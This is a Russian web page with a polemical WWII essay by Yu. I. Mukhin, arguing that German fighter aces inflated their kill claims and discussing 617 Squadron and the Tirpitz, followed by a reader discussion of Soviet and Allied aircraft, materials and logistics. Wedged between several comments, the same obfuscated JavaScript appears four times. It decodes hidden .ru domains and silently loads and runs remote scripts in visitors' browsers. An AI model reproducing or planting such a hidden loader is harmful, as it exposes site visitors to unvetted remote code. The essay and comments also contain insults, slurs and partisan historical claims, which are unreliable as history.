ЗАМЕТКИ КО ВТОРОЙ МИРОВОЙ

Опубликовано:
Источник: книга «Убийцы кораблей. Затопить Германию»
Комментариев: 221
5
Средняя: 5 (3 голоса )

В Европе 1 сентября 1939 года считается началом Второй Мировой войны, поэтому, так сказать, черкну пару строк на тему войны.

 Когда в Бутырке меня из общей «хаты» перевели в камеру на четверых (10 квадратных метров и унитаз за занавеской), то здесь библиотека камеры не ограничивалась религиозной литературой, поскольку наши несчастные предшественники оставили в камере десятка четыре книг, и из части книг даже была устроена табуреточка. Я все эти книги и перечитать не успел, так и ушел, оставив «Жизнь Дэвида Копперфильда» недочитанной. (Надо сказать, что сейчас этот роман Диккенса воспринимается совсем иначе, чем в юности). Но в библиотечке этой камеры оказалось и несколько мемуарных и исторических книг.

В их числе прочел в Бутырке книгу британских авторов «Убийцы кораблей. Затопить Германию». Это, конечно, было уже интереснее, чем книги попа и о попах, хотя ничего нового и из этой книги я не узнал. Посему хочу остановиться всего на паре моментов Второй мировой, невольно изложенных Полом Брикхиллом, летчиком, ветераном той войны, а после войны – её историком и одним из авторов помянутой книги.
 
Первый момент – о немецких асах-истребителях. В свое время я достаточно убедительно показал, что списки побед этих «хартманнов» являются сплошными приписками, причем, при рассмотрении этих списков с использованием определенных критериев, можно говорить о десятикратных приписках.
 
Вот, скажем, пораженные немецкими подвигами историки сетуют, что уже в 1944 году в воздухе над всем Восточным фронтом остался один ас Хартманн и вместе с ним только слабо обученные немецкие летчики, а с советской стороны кожедубов с покрышкиными вдруг стало в воздухе много-много. Вот поэтому, дескать, советская авиация с 1944 года и захватила господство в воздухе. Однако американский историк Майк Спик только среди асов дневной авиации Люфтваффе насчитал 230 человек, которые «сбили» больше, чем Покрышкин, и из них 224 немецких летчика «сбили» больше, чем Кожедуб. По его счету процентов 40 из этих немецких асов не только к 1944-му, а и к концу войны оставались в живых.
 
А по подсчетам британских историков Р. Толивера и Т. Констебля, у немцев только 913 лучших асов «сбили» на восточном фронте 44 179 самолетов. (Для справки: за всю войну ВВС РККА от боевых повреждений потеряли 46,1 тысячи самолетов всех типов). Но асов в Люфтваффе (тех, кто сбил более 5 самолетов) было более 5 тысяч!
 
Куда же в 1944 году эти асы все сразу подевались?
 
Второй вопрос: эти первые 913 асов сбили в среднем на каждого по 40 самолетов, а в ВВС РККА летчиков, сбивших 30 и более самолетов, было всего около полусотни. И что — эти полсотни загнали 913 немецких асов в Берлин? И, наконец, непонятно, кто летал в мае 1945 года на самолетах с красными звездами, если немецкие летчики все наши самолеты записали себе в победные списки и даже немецким зенитчикам никого не оставили? Так почему наши ценители немецких подвигов с 1944 года начали горестно всхлипывать о немецких «пилотах-новичках», которых Хартманн, якобы, один-одинешенек, заменить не мог?
 
Это, повторю, подлое свойство нашей интеллигенции, которая в своей массе является густопсовой смердяковщиной. Что бы на Западе ни сбрехали, а для наших «интеллектуалов» это святая правда.
 
С точки зрения реального положения дел, эти местные апологеты «подвигов» немецких истребителей игнорируют и то, что СССР закончил войну с военно-воздушными силами, способными тут же начать победную войну с Японией. Игнорируют, что самолеты выходили из строя и просто от износа (Пе-2, к примеру, списывался после 40 пикирований). Мало того, немецкие асы, нагло приписывая себе, якобы, сбитые абсолютно все советские самолеты и самолеты союзников, не оставляют сбитых самолетов на счетах немецких зенитчиков. А ведь те сбивали очень много, скажем, два из трех потерянных в боях той войны советских штурмовика Ил-2 были сбиты немецкими зенитками. Штурмовики воевали у самой земли, разумеется, огонь зениток по ним был особенно эффективен, но ведь и с высоко летающими бомбардировщиками положение то же самое.
 
И это ещё раз и достаточно невольно показал британский историк Пол Брикхилл, который в помянутой книге восторженно описал боевой путь 617-й эскадрильи британских ВВС, надо сказать, действительно весьма заслуженной эскадрильи. На счету этой эскадрильи и разрушение дамб немецких водохранилищ, и потопленный на стоянке линкор «Тирпиц», и потопленный «карманный» линкор «Лютцов», и множество разрушенных стратегических заводов, мостов, туннелей и пусковых позиций немецких ракет «фау». Вооружена была 617-я эскадрилья Королевских ВВС Британии четырехмоторными бомбардировщиками «Ланкастер», бомбила цели днем и ночью, в основном с высот около 6 километров, разумеется, бомбила и ценою жизни британских летчиков.
 
Брикхил не писал научную работу и не дает точных данных потерь бомбардировщиков эскадрильи, но из тех случаев гибели экипажей и самолетов, которые он описал, тоже можно сделать кое-какие выводы. В частности, он дает всего лишь один случай, когда «Ланкастер» этой эскадрильи был сбит немецким истребителем, в 6 описанных им случаях самолеты не вернулись с задания по неизвестным причинам, но в 12 описываемых им трагедиях самолеты были сбиты немецкими зенитчиками. А ведь на Западном фронте немцы держали многочисленную и самую современную, включая реактивную, истребительную авиацию.
 
Разумеется, это не доказательство приписок немецких асов – это просто ещё один довод задуматься над унижающими наших летчиков списками их «побед».
 
И ещё один маленький момент. Надо сказать, что заносчивый британец в своей книге «чрез губу» пишет о советских людях (и грязные, и пьяницы), в книге нет ни слова о событиях на Восточном фронте и роли этих событий в итогах войны. Но 617-я эскадрилья нанесла первый удар по «Тирпицу» с аэродромов в СССР, кстати, тупо заблудившись, весьма бездарно до аэродромов долетев и с большими потерями на них приземлившись. И Брикхилл, чтобы возвеличить победу 617-й, достаточно подробно описывает историю самого «Тирпица», в том числе есть в этой истории «Тирпица» и строчка, которую усиленно стремятся вычеркнуть из истории приличная отара нынешних «россиянских» историков: «Сначала его повредила русская подводная лодка». Повторю, это пишет антирусски настроенный британец, а вот как бы «свои» «историки-пацриоты» из штанов выпрыгивают, чтобы «доказать», что Лунин, атаковавший «Тирпиц» 5 июля 1942 года, якобы, в линкор не попал.
 
У англичан, пристально следивших за «Тирпицом», сомнений не было – попал!

 

Ю.И. МУХИН

 

Настройки просмотра комментариев

Выберите нужный метод показа комментариев и нажмите "Сохранить установки".
f16a
(не проверено)
Аватар пользователя f16a

 Гостю Вредному.    И у

 Гостю Вредному.    И у дойчей были свои достижения.  МГ-42, один из самых простых по конструкции и технологичных пулеметов.  В 1942-м заполнение 105-мм гаубичных снарядов довели до 2 кг ВВ против 1.38.  Плюс хорошие бронебойные снаряды чуть ли не до 1944 года минимум.   Советские делались из хромистых сталей, немецкие из хромоникельмолибденовых.   Тоже самое насчет стволов пушек.  Хочешь не хочешь а без нужной баллистики никак.  Плюс среди советских 45-мм бронебойных в начале войны было много перекаленых.  И об этом у Мухина написано.  Список неполный.

window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="20864",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("ymuhin.ru")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();

window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="20864",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("ymuhin.ru")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();

 
Гость
(не проверено)
Аватар пользователя Гость

 Слабые места японии в виде

 Слабые места японии в виде танков и противотанковых средств сказались только после вступления в войну против японии советских войск.

Против всех остальных японцы прекрасно действовали имевшимся у них оружием. Скажем сухопутная армия японии к августу 1945 года была 7 млн. человек, а сухопутные силы сша только 2,5 млн. человек. Поэтому американцы и собирались воевать до 1947 года. Даже с ядерной бомбой.

Поэтому для тех задач (оборона островов и действия в китае) которые перед ними стояли силы японии были достаточны. Но круг задач  изменился в связи с вступлением в войну СССР.

Здесь следует говорить об общей экономической слабости японии, у неё не хватило сил противостоять двум сильным противникам сразу - СССР на суше и США на море.

Но следует помнить, что бесконечных ресурсов ни у кого не бывает. Здесь многое зависит от обстоятельств и грамотной политики.

Политика японии привела её к краху.

 
f16a
(не проверено)
Аватар пользователя f16a

 Гостю.  Многое верно.

 Гостю.  Многое верно.  Насчет танков и противотанковых средств.  И чем же и как джапы боролись с "Шерманами"?  Тоже самое насчет против всех остальных.  А как же уничтожение торгового флота, поражения в битвах с союзниками 2-й полов. войны, теже битвы за Марианские и Филиппинские острова например?  Во 2-й полов. войны джапы медленно но верно покатились назад.  Это против союзников.  Главный козырь джапов того периода это применение смертников во все возрастающих количествах.  Джапы были по любому обречены.  Единственное что могло спасти джапов это введение в строй качественно новой техники из-за затягивания войны.   Бомбы с ИК и радионаведением,  ПЛ с высокой скоростью подводного хода, звуко и радиопоглощающими покрытиями, амортизаторами механизмов, шноркелями, радарами, большой глубиной погружения, реактивной авиацией и т.д. и т.п.  Но в 1945-м начались налеты на метрополию.  В-29-е вполне могли дотянуться и до Кореи с Маньчжурией.   Насчет вступления в войну СССР и далее полностью согласен.

 
Гость
(не проверено)
Аватар пользователя Гость

посол и либераст

Видно либераста по полёту, т. е. хрюканью:

Это Гарриман толковый мужик?

"Родился в семье железнодорожного магната Эдварда Генри Гарримана и Мэри Вильямсон Аверелл. Учился в школе Groton School в Массачусетсе, а затем в Йельском университете где вступил в закрытое общество «Череп и кости»

Видный советский дипломат О. А. Трояновский вспоминал, что в 1947 году Сталин заметил о Гарримане, что «этот человек несёт свою долю ответственности за ухудшение наших отношений после смерти Рузвельта» .

 http://www.people.su/26299

 

Ну и остальное в посте либерастическая галиматья, естественно

 
Wazawai
Аватар пользователя Wazawai

:3

Всё-таки переехал тебя «Студебеккер», Олежка. Прямо размазал!

 

Грешно смеяться над больными людьми!

 
 
Инженегр
(не проверено)
Аватар пользователя Инженегр

Не умели воевать

Мой дед не умел воевать с первого и до последнего дня войны. Так не умел, что был сбит два раза за четыре года (хотя во второй раз всё таки посадил горящий бомбер). О низкой подготовке свидетельствует задание, которое ему выдавал лично Савицкий и которое он выполнил в одиночном полёте. Для красивой пропаганды за это получил орден (хотя обещали героя).

За качество советского оружия... в последний год воевал на замечательном американской бомбардировщике. 

У брата дед то ж не умел воевать - получил снаряд в спину и шрапнель на всю жизнь. Списали в пехоту. Как командир штурмовой группы участвовал во взятии Кенигсберга. Им, дуракам, даже генерал говорил: "Не возьметё, сдохните - за вами пойдёт зелёная молодёжь, и крови будет много."

Про транспорт. СССР развивался бешенными темпами. В частности, к началу ВОВ появились отличные образцы полноприводных трехосных грузовиков ЗИС. 

Но в условиях Полного Полярного <лиса> требуется всего и по-больше... Плюс немецкие бомбардировки, из-за которых перебои в производстве были... Как результат, нет времени и нет ресурсов для перевода производства на новые обрацы. Эта участь постигла и полноприводные грузовики и бронеавтомобили.

Старенький ЯГ-6 (кажется) выпускался всю войну, но в какой стране экономика сильнее: где не ступала нога агрессора или где половина страны оккупирована? Чё сравнивать тёплую плановую экономику разрушенной страны с мягким североамериканским климатом?!

Кратко про транспорт: его было тупо мало. Валовое производство "Захара" и "Полуторки" решило основную транспортну проблему. ЯГ-и и Студебеккеры (шпасибо союзникам) решили проблему тяжелых тягачей.

У пиндосов ситуация была диаметрально противоположная: вся логистика была на тяжелых грузовиках повышенной проходимости. То бишь, для перевезки ящичка консервов использовался ебический грузовик. Пиндосы подсчитали, что "а не дохуа ли это в баксах" и к концу войны наоборот очень сильно разбавили свой транспорт своими "Захарами" и "Полуторками" (аля Виллисами и ежевика с ними).

При этом, по косвенным данным, наши дебилы решили транспортную задачу (математика ёб$ель) и снабжали армию "хоть как-нибудь, но за то по норме". А у гансов пиздец настал уже под Москвой, когда оказалось, что хотя грузовиков и до хуz, но логистика в жопе. А уж когда "краснопузые" в атаку перешли, то тут ваще "пиши пропало" - мемуары красочно пестрят подставами на дорогах, когда стритрейсеры на Т-34 смачно давили колонны невинных грузовиков... 

 
f16a
(не проверено)
Аватар пользователя f16a

 Инженегру.  Ваш пост в

 Инженегру.  Ваш пост в основном хорош.   Сомнения только насчет п-ца у гансов.  Извините а немецкие наступления и контрнаступления в 1942-1943-м чем обеспечивались?  Авиацией?  Сомневаюсь.   Правда тогда наступали они в основном на Юге, где суше чем на Севере.  А блокада Ленинграда, Ржев, наступление на Мурманск и Кавказ в 1942-м?  Немецкое контрнаступление весной 1943-го было удачным несмотря на распутицу.  

 
Инженегр
(не проверено)
Аватар пользователя Инженегр

Отчасти

с вами согласен. Но сами фрицы ещё до войны подсчитали, что до Смоленска их снабжение будет работать 100%, а вот под Москвой их коммуникации будут слишком растянуты. Это немецкие расчёт в идеальных условиях ещё до войны!

А на практике всё оказалось ещё хуже - рашен партизанен, И-16-вольноохотники (у разных немцев видел схожие описания налётов). Плюс генерал Грязь. Плюс самое настоящее расписяйство: иногда дороги, выделенные командованием под танки захламлялись пехотой и тыловыми службами.

Немцы с успехом использовали грузовики со всей Европы и захваченные наши. Строили железные дороги и гоняли импровизированные поезда снабжения. Опять же, одно дело подготовиться к прорыву и прорвать оборону. И совсем другое дело - снабжать быстро наступающие части. И вот тут как раз снабжение по воздуху имело иногда ключевую роль. 

Но стоит отдать должное немцам: снабжение по воздуху было отменным. Отчасти им должны Гансы сказать "спасибо" за вовремя доставленные снаряды и топливо (в частности сей момент запечатлён в мемуарах немецкого артиллериста).

Тот же Ленинград был бы для немцев важной базой снабжения. Если бы Ленинград захватили, то снабжение опералось бы на морские коммуникации (окружённые своими берегами) и железные дороги. На севере у немцев не было бы проблем со снабжением.

 

p.s. В немецкой танковой роте была и летучка и грузовик и ещё чего-то. Что не говори, а наши части были компактнее. Объёмные немецкие тылы были несоизмеримы с пропускной способностью русских дорог направлений. Кстати, знаю про случаи когда в наше время наёмные Газоны отказывались ехать в какую-нибудь деревню потому что "утонешь по дороге и только трактором доползёшь". 

 
f16a
(не проверено)
Аватар пользователя f16a

 Инженегру.  Согласен.

 Инженегру.  Согласен.  Большая разница между желаниями и возможностями плюс нехватка умения вот главные причины поражений.

 
Евгений2
Аватар пользователя Евгений2

Насчет Ленинграда

 Было уже раньше, немцы не собирались его захватывать на самом деле, и генералов своих осадили аккурат к приезду Жукова.

Ибо был он обещан Гессом англичанам...

 
русофил
Аватар пользователя русофил

Вот творческая задача, Вам, Олег .

У англосаксов была встроенная кинокамера для фиксации боевого вылета с победами и поражениями (что мы и наблюдаем теперь в различных коллажах по телевидению), а у немцев было ли что-то подобное с их гораздо                                                                                                      более развитой мобильной кинотехникой

 

 Έξηκοστοςτιων

Грифин
(не проверено)
Аватар пользователя Грифин

это вроде как фотопулемёт.

это вроде как фотопулемёт. они ставились и на наши самолёты, но на все не на все не знаю, интересный вопрос. 

 
Одессит
Аватар пользователя Одессит

f16a

куда делись советские самолеты, выпущенные до и во время войны?
Ресурс боевого самолета того времени знаете? Например, форсированный авиадвигатель - от 20 до 40 часов, в зависимости от модели и завода-изготовителя. Причем подавляюще чаще 25, чем 35 часов.
Ресурс планера не превышал 200 часов. Это причем тех, которые да, довоенные. А те Илы и Яки, клепанные из сосны в 1942, это вообще штука недолговечная.
Напомню, что в условиях войны, даже рекордные 200 часов - это на месяц не очень и активной эксплуатации. В условиях битвы над Кубанью на две недели. Но выпущенные до войны самолеты не стояли, а летали. Прикиньте, сколько нужно самолетов смоторесурсить, чтобы подготовить 100 тысяч летчиков. Каждые два часа налета у всех равны моторесурсу одной тысячи планеров при 4 тысячах двигателей.
Про сгоревшие в первые дни на аэродромах я вообще молчу.
Напомню и о угробленных по недотяпству самолетах, которые просто сгнили на аэродромах в ожидании Курской битвы, а уж у кого я об этом прочел, не вспомню. Кажется, у Яковлева. Нарушили технологию, не пропитали должно лаком фанеру. Расчет был на то, что сгорят в топке войны, а их начали накапливать на аэродромах. Под дождями вздулась фанера, сгнила ткань на тысячах самолетов.

Под качеством я понимаю и качество летной подготовки и качество самих самолетов
Опять же, не помню у кого прочел сию мысль.
В выборе, бросить ли в бой солдатика с винтовкой, или вручить ему мощное оружие в виде штурмовика или истребителя, выбор был сделан в пользу последних. И это правильно.

По теме статьи добавлю, что кроме зенитчиков, работали и бомбардировщики, которых в асы не записали. Кроме белокурой бестии ни о ком и не слышно.

 
f16a
(не проверено)
Аватар пользователя f16a

 Одесситу.  Спасибо за

 Одесситу.  Спасибо за хороший ответ.   Особенно про планеры.  Это подтверждают мою мысль что нехватку дюраля было сложно компенсировать.  По 2-му абзацу.   Это слова Ал-я Исаева, кн. "10 мифов 2-й мировой", раздел "352 сбитых самолета как путь к поражению".   С уважением, Олег.

 
Гость
(не проверено)
Аватар пользователя Гость

Дело не в нехватке дюраля. Но

Дело не в нехватке дюраля. Но вот планер из сосны сделать можно, а рубашку блока цилиндров на Т34 - нет, нужен алюминиевый сплав. Когда вооружения требуется много, то логично в условиях войны идти на удешевление продукции - оружие должно эффективно исполнять свои функции и быть надежным, не более того, а промышленность должна иметь возможность быстро наладить его производство при значительной потоковой нагрузке, чтобы компенсировать потери и износ ресурса. Пояски на снарядах можно было и из золота делать, но то, что их не делали из золота, наверное не означает, что в Союзе его не хватало.

 
Грифин
(не проверено)
Аватар пользователя Грифин

и в дюрали тоже. каркас из

и в дюрали тоже. каркас из фанеры тяжелее, а это... ну в общем понятно, кстати пропеллеры делались из "железного дерева" .  

 
f16a
(не проверено)
Аватар пользователя f16a

 Гостю.  Согласен.  Но

 Гостю.  Согласен.  Но извините если оружия должно быть много то материал для его изготовления должен быть достаточно легкообрабытываемым чтобы обеспечить нужное количество при имеющихся ресурсах.  Не знаю как дюраль но дерево прокатке и холодной штамповке точно не поддается.  Насколько помню со школьных уроков труда для изготовления гнутой мебели деревяшки обрабатывают горячим паром.   США в 1944-м изготовили больше всех самолетов.   Хотя в США приличные запасы леса.  Наверное из алюминиевых сплавов делать мсамолеты проще.  Плюс в США тогда освоили технологию сварки алюминиевых сплавов. Та же Япония.  2/3 территории сосновые леса, а тратились на алюминий.  Даже создали технологии получения глинозема из алунита и глинистых сланцев, чуть ли не обычной глины.  

 
Гость
(не проверено)
Аватар пользователя Гость

В США самолеты производили

В США самолеты производили частные компании и им был прямой интерес завышать стоимость продукции, да еще и продвинуть ее вперед конкурентов. Что выберет чиновник из министрества обороны - "продвинутую дюральку" или какую-то деревяшку? Деньги не его, а у фирмы свой интерес и своя реклама. С Японией я бы с Вами согласился про сосновые леса, кабы она была размером с Сибирь. Плюс культ природы у японцев - вряд ли бы они согласились переводить на "божественный ветер" эти сосны. Як-3 пользовался большой любовью на фронте и считался лучшим истребителем. Во время боя 16 июля 1944 г. с участием 18 самолетов Як-3 против 24 Me-109G-2 и FW-190A-4 наши летчики сбили 15 истребителей противника при одном потерянном и одном поврежденном Як-3. Французские летчики полка "Нормандия-Неман" из предложенных им истребителей, как советских, так и английских и американских, выбрали именно Як-3 и действовали на них исключительно успешно. Все модели истребителей "Як" в конструктивном отношении мало отличались друг от друга. Самолет имел каркас фюзеляжа, выполненный из авиационного сплава хромансиля. Элементы конструкции фюзеляжа - расчалки (двойные и одинарные), моторама, распорка крыла, каркас фонаря, кронштейны для крепления прицела и других механизмов - соединялись, как правило, методом сварки. Была предусмотрена бронеспинка для защиты летчика. Другие элементы, например, верхний и нижний гаргроты были деревянными. Крыло самолетов типа "Як" было деревянным, двухлонжеронным. Геометрическую форму крыла, а также прочность и жесткость конструкции обеспечивали часто расположенные нервюры, в том числе и усиленные, и стрингеры. Лонжероны - коробчатого сечения. На самолете Як-9 использовались лонжероны металлической конструкции. Верхний и нижний пояс образовывали металлические равносторонние пары уголков. Обшивка крыла, как и всего самолета, была выполнена из фанеры.Хвостовое оперение представляло собой деревянную конструкцию. Аэродинамическую форму киля образовывали продольный элемент и шесть деревянных нервюр. Аналогичную конструкцию имел и стабилизатор - лонжерон и по семь шпангоутов с каждой стороны.Компоновка основных агрегатов и устройств - стандартная. В верхней части фюзеляжа, над мотором, размещались пушки; снизу - радиатор. Ящики со снарядами располагались по бокам передней части фюзеляжа. Убиравшиеся в полете шасси, его стойки находились в крыльях и фиксировались замками убранного положения.

Собственно, как говорит Юрий Игнатьевич, лучшим критиком товара является его потребитель.

 
f16a
(не проверено)
Аватар пользователя f16a

 Гостю.  Насчет "дюральки".

 Гостю.  Насчет "дюральки".  "Дюральку"  не надо клеить.  А деревяшку надо.  Зачистить, обезжирить,  зажать тисками и ждать когда клей схватится.  Плюс у дюральки выше жесткость и прочность.  Детальку можно сделать тонкостенной.  Насчет Японии.  В ее колониях:  Юж. Сахалине, Корее, Маньчжурии леса завались.  Плюс джунгли Индокитая, Филиппин, Индонезии.  В Индокитае вообще растет тиковое дерево.   Хромансиль это сталь марки ХГСА.  Высокая прочность и жесткость позволяла делать конструкции тонкостенными.  Насчет лонжеронов ЯК-9.  Значит их пришлось делать из металла.  У дерева ниже прочность и жесткость,  большой скоростной и тем более грузоподъемный самолет не сделаешь.  Дощечку для В-29 из чего делать?  Из секвой с агатисами?  А маленький вполне.  Джапы в конце делали деревянные версии своих противолодочных Q1W Токай.  Не говоря про "Москито".   Вообще-то советский авиапром по мере развития постепенно перешел на цельнометаллические самолеты.  Последний поршневой Ла, кажется Ла-9, неофициально назывался Ла-7 цельнометаллический.  

window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="20864",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("ymuhin.ru")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();

window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="20864",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("ymuhin.ru")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();

 
Грифин
(не проверено)
Аватар пользователя Грифин

Олег, опять ты за своё. в

Олег, опять ты за своё. в ссср люминий уходил на изготовление блоков танковых дизелей, теперь сравни производство танков в ссср и у япошек и янки. так куда ушёл люминий? кстати немчики так и не построили собственного танкового дизеля. а каркас самолётов делался из шпона(фанеры)с пропиткой эпоксидными смолами и обтягивался перкалью(кстати был и водостек и негорюч). по моему уже к осени 42 пошли дюралевые каркасы, а в боях на дуге наша авиация уже вовсю дрючила дойчей и дальше по нарастающей. 

 
f16a
(не проверено)
Аватар пользователя f16a

 Грифину.  ЕМНИП блоки

